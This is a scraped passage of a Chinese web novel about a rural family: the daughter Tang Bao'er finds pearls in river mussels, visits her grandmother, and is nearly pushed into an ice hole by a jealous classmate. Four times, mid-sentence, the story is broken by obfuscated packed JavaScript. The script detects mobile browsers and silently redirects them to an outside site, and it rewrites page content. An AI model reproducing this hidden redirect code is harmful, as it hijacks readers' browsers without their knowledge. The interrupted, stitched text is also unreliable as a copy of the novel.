“快去洗澡换衣服!当心感冒了!”陈老太板着脸道,“下次可得注意点,别再掉进那淤泥里了。” 说着,陈老太使唤两个小的把那河蚌给搬到水缸里先养着,免得缺水死了就不新鲜了。 姚秋月抓着唐宝儿去了冲凉房,给她提了满满的一桶热水,看见唐宝儿衣服上都是泥巴,也不由得捏了把汗,啥也没说就给她洗了。 唐宝儿痛痛快快洗了个热水澡,时候尚早,也没什么事,他们干脆又上了山,打算再捆把柴回来。 他们刚找到捡柴火的地方,就听见了有人呼救的声音,唐宝儿他们凑近了一看,那一直往淤泥里陷的不是吴春红他们又是谁? 吴春红他们谁也不愿意留在岸上守着,都要自己下去摸河蚌,这刚踩进去还好,谁能想到没动几下就越陷越深了,甚至有人已经快陷到胸口了。 吴春红他们看见有人来了,就像是看到了救星一般,不停的朝他们呼救。 唐宝儿想起来姚秋月跟自己说过掉进淤泥里该怎么办,忙喝止住了不停挣扎的几人,“先别再挣扎了!你们再动只会越陷越深,听我的,先慢慢往后仰,试着平躺!” 看他们不再往下陷之后,唐宝儿又让成和去捡了根粗壮的棍子,三人一起努力,将陷在淤泥里的人一个个拉了出来。 “哇”死里逃生一回,吴志军再也忍不住了,一屁股坐在踏实的泥地上,就忍不住哭了出来。 没摸着河蚌,反而落着个精疲力竭,差点葬身在泥潭里的下场。 唐宝儿三人一个个把他们拉上来,也是一点力气都没了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055414|149180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “唐宝儿,你故意的,是你告诉我们这边的淤泥里有河蚌!故意想骗我们掉进淤泥里淹死,你真恶毒!”吴春红突然用怨毒的眼光盯着唐宝儿。 唐宝儿被她的逻辑逗笑了,“我要是真想让你们淹死,刚才就不会告诉你们平躺,再一个个把你们拉上来。” 告诉他们河蚌位置的人正是晓巧,她冷笑了两声,“我刚才就不应该告诉你们河蚌的位置,不识好人心,谁想到你们一个人都不留在岸上,一个个的往泥里钻,自找死路还怪别人?!” 晓巧可不惯着吴春红,“真没想到,好心告诉你们河蚌位置,救你们上来,没想法反倒是落了一身怨恨!我呸,你的良心被狗吞了。” “你!”吴春红被晓巧噼里啪啦一番话堵得说不出话来。 姚秋月从水缸里挑出两只大河蚌,打算待会杀了,一只用来做爆炒河蚌,一只用来做三鲜河蚌汤,那河蚌沉甸甸的,一只估计得有两斤的肉,两只已经足够他们一家人饱餐一顿了。 用清水把河蚌的外壳洗干净了,再用刀尖把河畔壳破开,刚想把那河蚌肉给撕扯出来,手刚摸到那河畔肉,就感觉到了一丝异样。 姚秋月手上稍微用了些力气,将那河蚌彻底撕开,三颗晶莹玉润的沉甸甸的珍珠就滚到了她的手心里。 珍珠? 这河蚌里竟然有珍珠?!姚秋月大喜过望,拿起那珍珠看了眼,晶莹饱满,足有拇指大小,一看就是上好的珍珠,她的内心激动,先将那珍珠放到了一边的盘子里,又破开了另一个河蚌,这一个也有珍珠,而且足足有四颗! 姚秋月的心情难以平复,她干脆把那水缸里剩下的河蚌都给剥了,都是成色上等的好珍珠,姚秋月数了数,一共有二十三颗! 姚秋月用一块手帕把那珍珠一颗颗给收好,拿到了陈老太住的那屋。 “我把那些河蚌都剥了,这是河蚌里剥出来的珍珠,一共有二十三颗。”姚秋月还是难掩内心的激动。 “珍珠?”陈老太给惊喜得说不出话来了,“难不成咱宝儿是福星转世?怎么手气这般好,摸到这么大河蚌就不说了,里边竟然还有珍珠,这又大又圆,还闪着莹光,一看就能值不少钱!咱家这可是走了大运了!” 陈老太眼里发光,笑得合不拢嘴,“本来那神仙豆腐的活计做不成了,我还有些难过,没想到我的好孙女宝儿竟然给咱们带来了这么大的惊喜!” 晚些时候,陈老太把那珍珠拿给了家里人都看了,谁都没见过这样漂亮的珍珠,忍不住都睁大了眼睛,啧啧称奇。 陈老太发了话,“这珍珠河蚌虽然是宝儿摸的,但成和、晓巧跟宝儿一起上山,又是堂姐弟妹三个人一块把这河蚌背回来,这珍珠算是三房都出了力,等明儿个我去集市上问问价钱,把这珍珠给卖了,卖得的钱你们每一房各分二成,剩下的四成就放我老婆子手里,以后给家里的几个孩子们读书用。” 19. 第19章 陈老太说干就干,第二天就背着背篓上了集市,她把那些珍珠用手帕都给包起来了,贴身放怀里揣着,按着唐实说的,在集市上找到了一间不打眼的杂货店,问了下老板收不收淡水珍珠后,才小心翼翼地将那珍珠给捧了出来。 那老板起初没多在意,看到陈老太拿出来的珍珠时,忍不住瞪大了眼睛,吸了口气,个个圆润饱满,又闪又亮,这是难得的高品质珍珠啊。 老板清了清嗓子,“你看七十块钱怎么样?” 古时有“七分珠,八分宝”之说,一般六毫米以下的珍珠,太小了打磨太费功夫,所以也不被列入珠宝级珍珠的范畴,七至九毫米为是最合适也最顺销的,一般价格不会太高,十毫米以上的珍珠已经很难得,更别说她拿出来的这些珍珠目测就有十五毫米以上。 这已经是难得的宝贝了。 七十块?陈老太表面上还是很平静,但背地里忍不住倒吸了一口凉气。 她打从出生起,到嫁人生了七个孩子,就从来没见过这么多钱! 但陈老太还是没拍板定下来,虽然说这家杂货店是小儿子介绍的,但俗话说买东西要货比三家,卖东西也一样,陈老太又去其他杂货店问了下,其中一家说不收这个,另一家杂货店看她是个老太太,就只给了四十块的价钱,还硬拉扯着陈老太问她是哪里人叫什么名字,这珍珠是哪里来的,陈老太哪里见过这阵势,忙揣着那珍珠飞快的跑了。 回到一开始的杂货店,那老板十分爽快,从柜台下面的抽屉里拿出一个钱匣子,数出七张拾元面额的纸币给她,才接过那珍珠清点起数目来。 陈老太看着老板小心翼翼的接过那珍珠,忍不住叹了口气,恐怕这辈子都再见不到这么好的珍珠了。 要不是家里缺钱,把这些淡水珍珠留给几个孙女当嫁妆,那才叫压箱底的宝贝呢。 但随着陈老太踏出杂货店的大门,热乎的钱就放在她怀里,她的那点叹息很快就被激动给取代了。 七十块钱呢! 这都能买上一千斤高粱都不止了! 到家后,全家人得知了这些珍珠竟然卖了七十块钱,都忍不住倒吸了一口凉气。 陈老太按照事先说好的,每一房分了十四块钱,十四块钱啊,妯娌几个捏着这钱激动得不知该如何是好,背地里,陈老太又偷偷塞给了姚秋月二成,毕竟能剖出这么多珍珠的大河蚌都是唐宝儿一个个从淤泥里摸出来的,所以姚秋月一共拿了二十八块钱,骤然又得了一大笔巨款,给姚秋月高兴得都不知道该说什么了。 晓巧现在是在绿水村小学上四年级,成绩一直以来都是中上水平,天刚亮,晓巧就醒来了,到院子里打了一盆水洗漱,唐家院子里是有打井的,但一般井水只用来洗漱做饭,洗衣服还是到外边的河里去洗。 家家户户吃水都要用辘轳从井里往上绞,各家的并基本上都没有盖子,往往是水绞上来了,还得捞掉浮在水面上几根屑细的玉米杆叶子或枯叶渣渣,有时候还会有误入井内的蛐蛐或者蚂蚱尸首,不过现在是冬天,水里自然没有蛐蛐也没有蚂蚱尸首。 冰凉的井水覆在脸上,晓巧忍不住打了个激灵,刚洗漱完毕,就见林丹红招手叫她走了过去。 林丹红目露慈爱的摸了摸她的发尾,“看你这头发梳得乱七八糟的,来,坐下我给你好好梳梳。” 林丹红现在看这个二女儿从来没这样顺眼过,想起来陈老太说的,那些河蚌是晓巧扛回来的,里面足足剥出来了七十块钱的珍珠啊! 她娘以前从来没这么温柔的对自己说过话,晓巧往西边看了一眼,她娘这是,太阳打西边出来了? 而且晓巧原本已经梳过头发了,她搬了张凳子,在她娘面前坐下,林丹红刚开始梳,晓巧便眼睛一阵发酸,眼泪不由自主的就落了下来。 这是她娘第一次给她梳头发,她娘是会编辫子的,但从来没有给她编过,小的时候为了省事,直接给她剃了光头,后来晓巧长大点了就不愿意留光头了,就开始留头发,但从来都是她自己摸索着扎起来,经常松松垮垮的,跑几步就掉了。 她娘偶尔也会给晓梅扎头发,但家里的老二总是被忽视的那个。 晓巧想起来堂妹宝儿,姚秋月会编很多好看的辫子,还会在辫子绑上好看的丝带,每一次四婶给宝儿梳头发时,那动作那神情,是那样的温柔,看向宝儿的眼神里充满着爱意,晓巧每次路过时,心里都会不由自主的生出一阵羡慕。 “看看怎么样?喜欢漂亮不?”林丹红拿了镜子给她照着看。 晓巧悄悄把眼睛里的泪水擦了,挤出一抹笑来,“好看,娘给我编的辫子真好看。” 吃完早饭后,林丹红还往晓巧手里塞了个热乎乎的鸡蛋,叫她剥了壳赶紧吃,别让成孝看见了。 林丹红现在是看这个二闺女顺眼得不得了。 唐家今天的早饭是蒸红薯和窝窝头,菜地里还有些韭菜,就割下来和咸菜炒了,用来夹窝窝头吃,家里现在还是吃粗粮为主,吃过早饭,唐宝儿刚把猪草剁好,这头猪已经养得很肥壮了,毛色油光黑亮的,估计得有三四百斤,过几天送到队上验收了,再送到屠宰场去。 扣除掉应该上缴的猪肉,剩下的猪肉他们就可以带回家来,切一部分新鲜的猪肉过年吃,剩下的就做成腊肉腊排骨,这就是明年一整年主要的肉类来源了。 唐宝儿想到等交了年猪,家里就能吃上香喷喷的炖肉、炖排骨了,忍不住咽了下口水。 不知道是不是她想的太投入,唐宝儿感觉自己竟然真的闻到了肉的香味? “宝儿!”陈老太趁着家里没其他人,招手叫宝儿过去。 “奶!”陈老太是个明事理、疼爱孙辈的老太太,这么多年来她一视同仁,对宝儿也格外偏疼,在看清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姚秋月洗漱之后,换上一件蓝底白花的棉袄,及肩的头发用用一根蓝色的头绳给拢了起来,还有前两年唐实给她买的那一块米色的围巾,她平素一直舍不得围,今天也找出来围上了,天气冷皮肤也容易干裂,还往脸上擦了点面霜,把自己收拾利落后才叫宝儿起来了。 宝儿穿的是一件红色的花棉袄,一条浅咖啡色的厚棉裤子,姚秋月又给她扎了两条辫子,脸上和手都抹上了面霜。 唐实已经将要给丈母娘家的礼物都准备好了,一条大前门的烟、两瓶西凤牌白酒、一小罐姚秋月自己做的蒲公英茶、一条三斤的五花肉,都收拾在篮子里,唐实今天要去除雪,所以就没跟她们娘俩一块去。 出门前,唐实还偷摸往闺女手里塞了把花生让她路上吃。 这种炒花生是家里准备的年货,劈里啪啦的用大铁锅炒了半个小时,再盛到簸箕上放院子里晾凉了,又香又酥,勾得他们几个小孩子馋虫都跑出来了,但这炒花生是用来过年待客的,家里几个小孩都不给他们拿,只是一人分了两三颗,根本吃不过瘾。 20. 第20章 那花生酥酥的特别香,唐宝儿剥着花生和姚秋月路上一块吃。 雪终于停了,地面上铺着一层厚厚的雪,人走过时留下一深一浅的脚印,发出扑簌扑簌的声音。 姚秋月拉着宝儿的手,母女俩沿着山路走走停停,一些矮小的树丛都被雪给盖过了,天气虽然很冷,但已近年关,路上能看见稀稀拉拉的行人。 唐宝儿跟其他小孩不一样,她记得自己从小到大的所有事情,唐宝儿想起来自己第一次来外婆家,那天路上还下起了雪,娘用厚实的襁褓将她裹着,把她冰冷的小手塞进怀里,一步一步走得很辛苦,路上却没有抱怨过一句,更没有放下自己,那些温暖的回忆仿佛就在昨天。 唐宝儿看着被姚秋月拉着的手,不由得用了些力气,回握住她的手。 姚秋月的手不大,十指纤细,指节分明,却布着一层厚厚的老茧,这都是这些年劳作磨出来的。 她的娘是这个世界上最好的娘,也是她最最爱的人。 姚秋月察觉到宝儿的小动作,不由得笑了笑,看着前方道,“宝儿,听到了吗?” “听到了什么?”唐宝儿圆圆的大眼睛里满是疑惑。 姚秋月蹲下身来,用手将她垂在胸前的两条小辫拨到脑后去,做了个嘘声的手势,“你静静听,河水在结冰的河面下涌动的声音,哪怕表面结了厚厚的一层坚冰,也无法阻挡坚冰之下的波涛汹涌。” 唐宝儿虽然一知半解,但还是闭上眼睛认真的听了,真的能听到水流动的声音,脸上露出灿烂的笑容来,“娘,我听见了!” “冬天已经来临,就意味着春天不远了。”姚秋月说完这句话后,感觉脚下也轻松了不少,她笑起来时,嘴边会浮现两个浅浅的梨涡,特别漂亮。 大概走了半个多小时,就看见了零零星星的房屋,这是到了姚秋月的娘家茂山村了。 跟几个村民寒暄了几句,姚秋月就带着宝儿直奔娘家而去,姚母看见女儿和外孙女,高兴得不知道该说什么,忙三步并两步上前接过她手里的东西,领着他们进屋。 “我盘算着你们娘俩这几日也会过来一趟了。” 姚母今年五十多岁,虽然没到花甲之年,但头发上的白发也不少了,头上戴着顶黑色的绒线帽,额头布满了皱纹,这些都是岁月的痕迹,每一道皱纹里都注满慈祥和善良,手上的皮松弛得厉害,像个蒸去水分的干萝卜。 “外婆。”唐宝儿礼貌的叫了人。 姚母是个心善的女人,对宝儿也是爱屋及乌,热切的回应了一句,“欸!好宝儿,先坐着,外婆中午给你们做好吃的。” 姚家几口人都是勤快人,院子清扫得干干净净,虽然有养鸡却不会让鸡乱跑,粪便到处都是,墙根下还开垦了一块小小的菜地,绿油油的大白菜和白萝卜都被埋在雪堆里,俗话说冬吃萝卜,这过了冬的萝卜特别水嫩。 姚秋月和几个嫂子一一打了招呼。 “你这娃娃,来就来了,还准备这么多东西,你爹看见这烟酒又该走不动道了。”姚母看她们娘俩都穿着厚厚的棉袄,脸色红润,可见日子还是过得不错的,一颗心也安放了下来。 虽说那唐家未必是多好的人家,但女婿是个上进人,光这一点,姚母就很满意了。 姚秋月笑了笑,从里面拿出一个小罐子,“这是我自己炒的蒲公英茶,喝了对身体好,一大篮蒲公英才炒出这么一小罐。” “好,蒲公英茶,听着就是好东西,晚点我用来泡了茶水让你爹还有家里几个孩子都喝点……你还买这么大一条肉,家里几个孩子要是知道今天有肉吃,得要高兴坏了。”养猪的指标一般都是靠抓纸团,姚家今年没抓上,只能到时候再想办法看看能不能跟村里肉多的人家买一点了。 “你们先坐着,我去厨房把这些东西都放好了。” 姚母出去一趟,把一块老姜剁碎了,煮成浓浓的姜汤,又往里搁了不少红糖,才端着过来给姚秋月母女俩,“快喝了驱驱寒,这外面冰天雪地的,当心着凉了。” 唐宝儿端过那碗红糖姜水喝起来,还没喝浓重的姜味就已经呛进鼻腔,热辣辣的甜味在舌尖蔓延,甜滋滋的,一碗红糖姜水喝完,感觉浑身都热乎了,有种说不出的舒服。 能吃糖的次数本来就不多,能喝上糖水的次数就更少了,哪个人能不喜欢喝糖水呢,唐宝儿喝完,捧着空碗幸福的喟叹了一声。 姚秋月欲言又止道,“娘,你还记得我那高中的课本,我高中的课本你还留着吗?” 姚母愣了一下,“怎么好端端的想起你高中课本来了?” 姚秋月挤出一抹笑,“现在不是快过年了吗。地里活少,我趁着闲暇的时候想再看看。” 姚秋月高中毕业时,本来他们公社的教育专干给她安排了一份工作,让她在村里的小学教书,但后来她跟田佳明的事情闹出了一阵风言风语,那份当老师的工作也不翼而飞了。 姚母听到这话,想起她当年经历的辛酸不易,不由得悄悄擦了把眼泪,随后从床底下搬出一摞被牛皮纸包得严严实实的课本出来,虽然已经蒙了不少灰尘,却保存得完好无损。 姚秋月上高中的那个年代,大多数人是抱着玩的心态去上学的,但她不一样,是铆足了劲认真学习的,数学、物理、化学一科不落,有不懂的就追着老师问,每次考试姚秋月都是全校第一,综合成绩最好。 甚至她的文笔流畅优美,能写出不错的好文章,曾经有两篇稿子被市里的报社刊登过,哪怕在县里都很有名气。 姚母为自己有这样优秀的女儿深深的骄傲过,虽然嫁人之后,姚秋月就再也不碰书了,但姚母还是把她的课本笔记全都妥当的收藏了起来。 姚秋月捧着完好无损的课本,眼睛也不由得泛了红,“娘,谢谢你,我还以为你早就丢了。” 姚母叹了口气,“这可是你那些年的心血,我怎么舍得丢啊。” 姚秋月大嫂看见小姑拿来这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055416|149180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么大一块肉,高兴得合不拢嘴,直接就用来做红烧肉,五花肉切大块,炒了个糖色后煸出那肥肉里的油脂,炒到四面金黄,才倒开水进去炖,家里已经许久没有这样痛痛快快的吃过肉了。 又从菜地里拔了萝卜和白菜,两小块腊鱼煎出香味来,萝卜切成丝放进腊鱼汤里,煮出来的汤就是奶白奶白的,至于白菜就用那个猪肉煸出来的猪肉炒,吃起来满嘴肉香,鲜香下饭,怕菜不够吃,姚秋月大嫂还从缸子里拿了把渍好的酸菜,切成细丝了码放到盘子里。 油汪汪的红烧肉拌米饭,一口下去香得不得了,那萝卜也特别鲜甜,煮出来的汤很好喝,还有股腊鱼的香味,白菜也好吃,这顿饭吃得太满足了。 吃过午饭,姚母还给闺女装了十个鸡蛋,姚秋月死活不愿意收,就提着那一摞书,带着唐宝儿回去了。 刚回到唐家,唐宝儿就跑出门玩了,姚秋月在屋里找了个地方坐下,将牛皮纸拆开,那书页虽然已经有些泛黄,但没受潮也没被虫子咬,上边密密麻麻的字迹清晰可见,她用指尖抚过每一本课本,政治、语文、数学、物理、数学…… 空气中已经逐渐带了丝年味,村里有人家在炒年货,花生瓜子混合着炒热的砂石,偶尔发出啪的一阵爆开的响声,也有在放鞭炮的,噼里啪啦的响,姚秋月从窗户望出去,雪地之上,日头已经高高的挂着天空中,相信在不久的将来,很快就能迎接春天的到来了。 —— 算算时间,她爹除雪应该也除完了,唐宝儿就想到村口去等她爹,刚路过田埂,就见一个人从草丛里出来,快速地拿出一个东西塞到了唐宝儿那柔软细嫩的小手里,“宝儿,成鸣哥哥给你个好吃的!” 竟然是一个饱满的黄澄澄的柿子,散发着诱人的果香,唐宝儿忍不住吸了一口味道,好香的软乎乎的柿子。 成和哥哥才是成鸣哥哥的亲弟弟,但很多时候,成鸣哥哥对自己比对成和哥哥还要好,有时候只有一份好吃的东西时,成鸣哥哥也只会给她,而不给成和哥哥。 “哥哥,这个柿子是哪里来的啊?” “嘘,秘密!”成鸣做了个嘘声的手势,他今天跟着大人去集市上置办年货,看到街上有卖成熟的柿子,这种柿子跟山里那种酸涩的野柿子不一样,在冬天这种金黄红艳的果蔬,很容易让人联想到吉祥和财富,也就有了“柿柿如意”的说法,四分钱一个,成鸣就偷偷买了一个塞在口袋里拿回来,怕她有心理负担,就没跟她说自己买的。 唐宝儿看了眼前后左右,害怕有人冒出来抢这个柿子,“哥哥,咱们一起吃吧。” 成鸣犹豫了一下,才上前小小的咬了一口。 唐宝儿看他愿意跟自己吃一个柿子,脸上露出笑容来,也就着那个柿子的尾部咬了一口,柿子的甜味在味蕾迸发开来,唐宝儿幸福的眯起了眼睛。 皮色橙红,透明无籽,汁多肉软。 冬天的柿子那可叫一个甜啊,好吃到你的心尖儿上。 21. 第21章 唐宝儿醒来时,天已经大亮了,热闹的声音传入耳中,她不由得微微一笑,想起来今天就是除夕了。 这是她到爹娘身边后,过的第六个除夕。 唐宝儿麻溜的从床上起来,换上红色的棉袄,再在棉袄外边套上一件桃红色的外衣,把自己打理得干净利落后,才出门去了。 她爹唐实正在院子里劈柴,就算是冬天也出了身汗,脖子上搭着块毛巾,“你娘给你留了早饭在灶上热着呢,吃了再玩!” “我知道了!” 大概是除夕,今天的早饭也格外丰盛,竟然还有一个荷包蛋,熬好的玉米碴子粥喝起来糯糯的,唐宝儿飞快的将早饭吃完了,得知成鸣和晓梅他们都在凿冰鱼,就迫不及待的往河边跑了。 冬季河里结了厚厚的冰,鱼儿躲在冰面下面,成鸣他们都趴在冰面上,仔细观察着哪里有鱼,冰层这样厚,也不怕惊动了那水里的鱼了。 成鸣几人最终选定了一块位置作为凿冰点,他们在那冰块上浇上水后,就开始用冰钻子、冰镐凿那厚厚的冰层,北风吹得耳朵通红,人说话时都不停往外冒热气,手上青筋往外冒,不知过了多久,才终于在冰上挖了三个脸盆大的冰窟窿。 冰面刚被凿开,新鲜的空气一下子涌了进去,原本快失去活性的鱼儿,忽然间又活了过来,纷纷向冰窟窿洞口处游来,睁着呼吸一点新鲜的空气。 这下可把唐宝儿他们给高兴坏了,捞鱼的网伸进去,在冰窟窿里使劲地搅动一会儿,拿出冰窟窿,捞鱼网兜里就只有几条一两寸长的小鱼。 几个孩子不由得面露失色,这鱼也太小了。 除过城里的成润,家里的孩子就是成鸣和晓梅年纪最大,晓梅自愿放弃了领袖的位置,所以成鸣就理所应当的成了唐家这五六个孩子的老大。 成鸣很像个小大人,看着失落的弟弟妹妹们,出声安慰道,“没事,咱们再去别处找找有什么适合凿冰鱼的位置,宝儿,你就在这里守着这个凿开的冰窟窿吧,说不定一会能有鱼游过来。” 唐宝儿接下了这个任务,“好。” 吴春红看见唐宝儿一个人在冰面上时,离她大概十几米,不远不近,心脏突然激烈的跳动起来,她想起上辈子那个男人对唐宝儿那么好,却连看自己一眼都不愿意,心中迸发出了强烈的恨意。 这附近没有人,冰面光滑,要是出了什么意外,掉进了河水里,神不知鬼不觉的死了…也很正常吧? 那鱼在河里都能憋死,更何况人呢。 吴春红低头,放慢了脚步,轻手轻脚地绕到唐宝儿的身后。 她也不想这么恶毒……只能怪这个死丫头挡了她的路了。 冰窟窿这边,唐宝儿正蹲下身体看那冰窟窿里的情况,从附近游过来一两条大鱼,看起来估计起码有瓦盆那么大,唐宝儿高兴的站起来,拿过一旁的捞鱼网把鱼捞了上来,鲜活乱蹦,沉得估计得有三四斤。 她正想开口叫成鸣他们过来,就听见身后砰的一声传来一阵动静,吴春红原本想推把唐宝儿推进冰窟窿里,却没想到脚腕扭了一下,反倒了自己噗通一声栽进了那冰窟窿里。 吴春红突然悄无声息的出现在她的身后,这已经够让唐宝儿惊吓的了,更别提她刚才掉下去时手还维持着推人的动作,分明是想把她推进那冰窟窿里! 唐宝儿愤怒的抓紧了拳头,她跟这个吴春红无冤无仇,甚至上次还在淤泥里将他们救出来,吴春红却这样的怨恨自己,甚至想要害了她的性命! 吴春红咕咚咕咚的喝了几大口冰湖水,不断的挣扎着,唐宝儿真想一走了之了,但最后她还是将原本捞鱼网的鱼给倒到了一旁,又把捞鱼网伸下去,让吴春红抓着捞鱼网上来。 从冰窟窿里出来时,吴春红已经被冻得浑身发抖,嘴唇发紫,唐宝儿看到她的模样,想到刚才如果是她掉进了水里,吴春红肯定不会救她,吴春红这是要她死啊! 太恶毒了。 唐宝儿心里除了愤怒就没有其他的情绪,这就叫害人害己。 唐宝儿才懒得管她,提着那自己捞上来的鱼往家里走了。 唐宝儿拎着这么大一条鱼回来,可高兴坏了唐家人,年节的鱼卖出了天价不说,还是有价无市,早早就被抢光了,能在除夕炖上一条鱼,就意味着来年年有余,这可是新年的好兆头。 “咱们宝儿可真厉害!怎么就让你捞着这么大一条鱼了呢,看来是被福星庇佑的好孩子!”陈老太笑得合不拢嘴,想到那上次的河蚌珍珠,怎么就让宝儿一个人摸着了那大河蚌呢! “这还是托宝儿的福,让咱们也能在除夕吃上鱼了!”唐老三笑道。 “这鱼估计得有四斤多。” 这时成鸣他们也回来了,水桶里提着几十条小鱼,在看到唐宝儿带回来的鱼时,围了一圈啧啧惊叹。 “早知道那个冰窟窿竟然能捞到这么大的鱼,咱们也不用费劲去凿新的冰窟窿了!” 姚秋月接过他们的小鱼,笑着宽慰地说道,“说不定人多了,反而把鱼给吓跑了。” 一家人的欢声笑语飞出了院墙,而吴春红这边,她拖着快冻僵的身体回到家时,张兰花看见她的模样,忍不住破口大骂。 “夭寿哟!你咋不长眼睛,把自己搞成这副模样,你这是要触谁的眉头啊!” 吴春红打断了她娘的话,“娘,是那唐宝儿推的我!她把我推进了冰窟窿里,她这是想要害死我啊!” “啥?唐宝儿?”张兰花愣了一下。 “就是咱们村里唐家四房那个唐宝儿!她嫉妒我在学校成绩比她好,胡老师看重我,她恨死我了,想要我的命!娘,你一定要给我讨回个公道!”吴春红将自己的话一股脑都发泄了出来。 吴春红这一说她想起来了,张兰花前几日去大队交年猪时,记得唐家那猪养得又肥又大油光水亮的,估计能剩下大几十斤的猪肉,而他们家的猪因为不舍得喂粮食,往日里吴春红也怠惰不愿意上山打猪草,忙活一整年下来竟然就得了几斤肉,她今天就要让那唐家用猪肉来给他们一家赔罪! 张兰花气愤道,“太可恨了,让我去找那唐家要个说法!” —— 唐家几个媳妇已经在准备晚上的年夜饭了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055417|149180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,先是蒸了一盆白面馒头,一大盆玉米面馒头,把那四斤多的鲜鱼宰杀了,烧大火放进锅里炖,鱼汤上边已经浮着一层淡淡的黄油,空气中都飘满了鱼香。 张兰花还没踏进唐家的门,就闻到了诱人的炖鱼的香味,她忍不住咽了口口水,感觉肚子都不争气的咕噜了两声。 绿水村一共有两百多户人家,平日里张兰花跟他们也没有往来,这突然上门,姚秋月来愣了一下,才挤出笑道,“张嫂子找谁?” 来者是客,平日里又是乡里乡亲的,姚秋月还抓了把炒熟的南瓜子给她。 张兰花掂了掂手上的南瓜子,冷笑了一声,“我这次来是找你们家唐宝儿的,小小年纪怎么能这样恶毒,竟然把我家春红给推进那冰窟窿里,她这是想要杀人啊!你们不给我个说法我就不走了,今年我们家这年夜饭就在你唐家吃了!” 春红?姚秋月想起来宝儿班上有个同学好像就叫吴春红。 陈老太听见这话,忍不住呸了一口,“我还没见过大年三十上别人家里撒泼的!你竟敢污蔑我们家的孩子,上下嘴唇一碰张口就来啊,我还没见过这样不要脸的人?!” 姚秋月冷笑了声,“你说宝儿推你家闺女进冰窟窿?!说话做事是要讲究证据的!不然我们就去大队长那里告你!” 唐家一家人看起来不像软柿子,张兰花挺直了腰板,硬气道,“这都是我闺女亲口说的,她说唐宝儿嫉妒她学习成绩好,老师看重她!” 这话正好让成和听见了,“宝儿嫉妒吴春红?她脑子发烧神志不清了吧,宝儿每次考试都是年级第一,你们家吴春红连年纪前三都进不去!” “不可能,怎么可能!你胡说!”张兰花加重了音量。 “上次高老师抽背课文,全班人都背出来了,就你们家吴春红和成孝没背出来,宝儿她这么聪明,会嫉妒一个连书都背不出来的笨蛋?!” “你、你……”张兰花指着成和。 正在屋里玩翻花绳的唐宝儿走了出来,把事情的经过讲了一遍,“吴春红她娘,我成鸣哥哥叫我在冰窟窿旁边看着,吴春红偷偷绕到我的身后,想要把我推进冰窟窿里,结果她自己脚滑了掉进了水里,我用捞鱼网把她救了上来。” 毕竟事发现场只有她和吴春红两个人,没有其他人证,唐宝儿一开始也不想把事情闹大,就没有说,没想到吴春红竟然倒打一耙,想要反过来泼她一身脏水。 “你胡说八道!”张兰花不信,“你有什么证据能证明?” 陈老太冷笑了一声,“现在知道要讲证据了?!你刚才空口白牙污蔑我们家孩子的时候呢?事实就是,我宝儿说的都是真的,而你们家吴春红忘恩负义害人害己!” 张兰花踉跄了几步,自知讨不着好,谁知道她的脚刚跨出去门,就被姚秋月叫住了。 “慢着!” 张兰花还以为能落着点什么好,结果姚秋月一把把她手里的南瓜子给抓了回去,手一扬就撒在了地上,“我们家的南瓜子就算喂鸡也不给你这种泼皮无赖吃!” 连林丹红都忍不住呸了一句,“什么人啊!” 22. 第22章 家里大人在准备年夜饭,家里的小孩就跑到外面去捡了烧剩下的鞭炮来放,每逢年节,捡鞭炮就成了孩子们最热衷的“冒险行动”,轰的一声鞭炮炸开了,红色的炮屑炸了一地。 都是活泼好动的年纪,每逢过年,大人都尽量不给孩子安排活,也不打骂孩子,过年这几日就是他们最开心的日子,天天就是跟着年纪大的孩子疯跑玩闹。 唐宝儿胆子大敢点炮仗,她手里拿着一支线香,把炮节在空地上摆放好,然后蹲着靠近了用线香对着那引线一点,点着了之后又迅速捂着耳朵到远处蹲下。 “砰”的一声,那鞭炮炸开,几个孩子们高兴得欢呼起来,唐宝儿也受到了欢快的氛围感染。 “幸好那个吴春红没得逞,不然宝儿要是掉进冰窟窿里,就算捡回一条命,也会感冒发烧的!”晓梅愤愤不平道,这人怎么这么坏呢。 “没事的,我好好的。”唐宝儿想起什么,从脖子里拿出来那个银制的长命锁给他们看,“这是我外公外婆给我的长命锁,有它保佑着我呢!” 姚父姚母送给自己的长命锁,这么多年来唐宝儿一直贴身戴着,藏在衣服里。 